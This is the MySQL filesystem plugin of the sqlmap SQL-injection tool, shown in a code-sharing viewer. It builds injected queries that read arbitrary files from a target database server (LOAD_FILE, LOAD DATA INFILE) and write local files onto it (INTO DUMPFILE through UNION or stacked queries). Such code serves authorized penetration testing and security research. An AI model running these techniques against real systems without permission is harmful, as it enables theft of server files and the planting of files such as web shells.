Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
sqlmapproject
GitHub Repository: sqlmapproject/sqlmap
Path: blob/master/plugins/dbms/mysql/filesystem.py
2992 views
1
#!/usr/bin/env python
2
3
"""
4
Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org)
5
See the file 'LICENSE' for copying permission
6
"""
7
8
from lib.core.agent import agent
9
from lib.core.common import getSQLSnippet
10
from lib.core.common import isNumPosStrValue
11
from lib.core.common import isTechniqueAvailable
12
from lib.core.common import popValue
13
from lib.core.common import pushValue
14
from lib.core.common import randomStr
15
from lib.core.common import singleTimeWarnMessage
16
from lib.core.compat import xrange
17
from lib.core.data import conf
18
from lib.core.data import kb
19
from lib.core.data import logger
20
from lib.core.decorators import stackedmethod
21
from lib.core.enums import CHARSET_TYPE
22
from lib.core.enums import DBMS
23
from lib.core.enums import EXPECTED
24
from lib.core.enums import PAYLOAD
25
from lib.core.enums import PLACE
26
from lib.core.exception import SqlmapNoneDataException
27
from lib.request import inject
28
from lib.request.connect import Connect as Request
29
from lib.techniques.union.use import unionUse
30
from plugins.generic.filesystem import Filesystem as GenericFilesystem
31
32
class Filesystem(GenericFilesystem):
33
def nonStackedReadFile(self, rFile):
34
if not kb.bruteMode:
35
infoMsg = "fetching file: '%s'" % rFile
36
logger.info(infoMsg)
37
38
result = inject.getValue("HEX(LOAD_FILE('%s'))" % rFile, charsetType=CHARSET_TYPE.HEXADECIMAL)
39
40
return result
41
42
def stackedReadFile(self, remoteFile):
43
if not kb.bruteMode:
44
infoMsg = "fetching file: '%s'" % remoteFile
45
logger.info(infoMsg)
46
47
self.createSupportTbl(self.fileTblName, self.tblField, "longtext")
48
self.getRemoteTempPath()
49
50
tmpFile = "%s/tmpf%s" % (conf.tmpPath, randomStr(lowercase=True))
51
52
debugMsg = "saving hexadecimal encoded content of file '%s' " % remoteFile
53
debugMsg += "into temporary file '%s'" % tmpFile
54
logger.debug(debugMsg)
55
inject.goStacked("SELECT HEX(LOAD_FILE('%s')) INTO DUMPFILE '%s'" % (remoteFile, tmpFile))
56
57
debugMsg = "loading the content of hexadecimal encoded file "
58
debugMsg += "'%s' into support table" % remoteFile
59
logger.debug(debugMsg)
60
inject.goStacked("LOAD DATA INFILE '%s' INTO TABLE %s FIELDS TERMINATED BY '%s' (%s)" % (tmpFile, self.fileTblName, randomStr(10), self.tblField))
61
62
length = inject.getValue("SELECT LENGTH(%s) FROM %s" % (self.tblField, self.fileTblName), resumeValue=False, expected=EXPECTED.INT, charsetType=CHARSET_TYPE.DIGITS)
63
64
if not isNumPosStrValue(length):
65
warnMsg = "unable to retrieve the content of the "
66
warnMsg += "file '%s'" % remoteFile
67
68
if conf.direct or isTechniqueAvailable(PAYLOAD.TECHNIQUE.UNION):
69
if not kb.bruteMode:
70
warnMsg += ", going to fall-back to simpler UNION technique"
71
logger.warning(warnMsg)
72
result = self.nonStackedReadFile(remoteFile)
73
else:
74
raise SqlmapNoneDataException(warnMsg)
75
else:
76
length = int(length)
77
chunkSize = 1024
78
79
if length > chunkSize:
80
result = []
81
82
for i in xrange(1, length, chunkSize):
83
chunk = inject.getValue("SELECT MID(%s, %d, %d) FROM %s" % (self.tblField, i, chunkSize, self.fileTblName), unpack=False, resumeValue=False, charsetType=CHARSET_TYPE.HEXADECIMAL)
84
result.append(chunk)
85
else:
86
result = inject.getValue("SELECT %s FROM %s" % (self.tblField, self.fileTblName), resumeValue=False, charsetType=CHARSET_TYPE.HEXADECIMAL)
87
88
return result
89
90
@stackedmethod
91
def unionWriteFile(self, localFile, remoteFile, fileType, forceCheck=False):
92
logger.debug("encoding file to its hexadecimal string value")
93
94
fcEncodedList = self.fileEncode(localFile, "hex", True)
95
fcEncodedStr = fcEncodedList[0]
96
fcEncodedStrLen = len(fcEncodedStr)
97
98
if kb.injection.place == PLACE.GET and fcEncodedStrLen > 8000:
99
warnMsg = "as the injection is on a GET parameter and the file "
100
warnMsg += "to be written hexadecimal value is %d " % fcEncodedStrLen
101
warnMsg += "bytes, this might cause errors in the file "
102
warnMsg += "writing process"
103
logger.warning(warnMsg)
104
105
debugMsg = "exporting the %s file content to file '%s'" % (fileType, remoteFile)
106
logger.debug(debugMsg)
107
108
pushValue(kb.forceWhere)
109
kb.forceWhere = PAYLOAD.WHERE.NEGATIVE
110
sqlQuery = "%s INTO DUMPFILE '%s'" % (fcEncodedStr, remoteFile)
111
unionUse(sqlQuery, unpack=False)
112
kb.forceWhere = popValue()
113
114
warnMsg = "expect junk characters inside the "
115
warnMsg += "file as a leftover from UNION query"
116
singleTimeWarnMessage(warnMsg)
117
118
return self.askCheckWrittenFile(localFile, remoteFile, forceCheck)
119
120
def linesTerminatedWriteFile(self, localFile, remoteFile, fileType, forceCheck=False):
121
logger.debug("encoding file to its hexadecimal string value")
122
123
fcEncodedList = self.fileEncode(localFile, "hex", True)
124
fcEncodedStr = fcEncodedList[0][2:]
125
fcEncodedStrLen = len(fcEncodedStr)
126
127
if kb.injection.place == PLACE.GET and fcEncodedStrLen > 8000:
128
warnMsg = "the injection is on a GET parameter and the file "
129
warnMsg += "to be written hexadecimal value is %d " % fcEncodedStrLen
130
warnMsg += "bytes, this might cause errors in the file "
131
warnMsg += "writing process"
132
logger.warning(warnMsg)
133
134
debugMsg = "exporting the %s file content to file '%s'" % (fileType, remoteFile)
135
logger.debug(debugMsg)
136
137
query = getSQLSnippet(DBMS.MYSQL, "write_file_limit", OUTFILE=remoteFile, HEXSTRING=fcEncodedStr)
138
query = agent.prefixQuery(query) # Note: No need for suffix as 'write_file_limit' already ends with comment (required)
139
payload = agent.payload(newValue=query)
140
Request.queryPage(payload, content=False, raise404=False, silent=True, noteResponseTime=False)
141
142
warnMsg = "expect junk characters inside the "
143
warnMsg += "file as a leftover from original query"
144
singleTimeWarnMessage(warnMsg)
145
146
return self.askCheckWrittenFile(localFile, remoteFile, forceCheck)
147
148
def stackedWriteFile(self, localFile, remoteFile, fileType, forceCheck=False):
149
debugMsg = "creating a support table to write the hexadecimal "
150
debugMsg += "encoded file to"
151
logger.debug(debugMsg)
152
153
self.createSupportTbl(self.fileTblName, self.tblField, "longblob")
154
155
logger.debug("encoding file to its hexadecimal string value")
156
fcEncodedList = self.fileEncode(localFile, "hex", False)
157
158
debugMsg = "forging SQL statements to write the hexadecimal "
159
debugMsg += "encoded file to the support table"
160
logger.debug(debugMsg)
161
162
sqlQueries = self.fileToSqlQueries(fcEncodedList)
163
164
logger.debug("inserting the hexadecimal encoded file to the support table")
165
166
inject.goStacked("SET GLOBAL max_allowed_packet = %d" % (1024 * 1024)) # 1MB (Note: https://github.com/sqlmapproject/sqlmap/issues/3230)
167
168
for sqlQuery in sqlQueries:
169
inject.goStacked(sqlQuery)
170
171
debugMsg = "exporting the %s file content to file '%s'" % (fileType, remoteFile)
172
logger.debug(debugMsg)
173
174
# Reference: http://dev.mysql.com/doc/refman/5.1/en/select.html
175
inject.goStacked("SELECT %s FROM %s INTO DUMPFILE '%s'" % (self.tblField, self.fileTblName, remoteFile), silent=True)
176
177
return self.askCheckWrittenFile(localFile, remoteFile, forceCheck)
178
179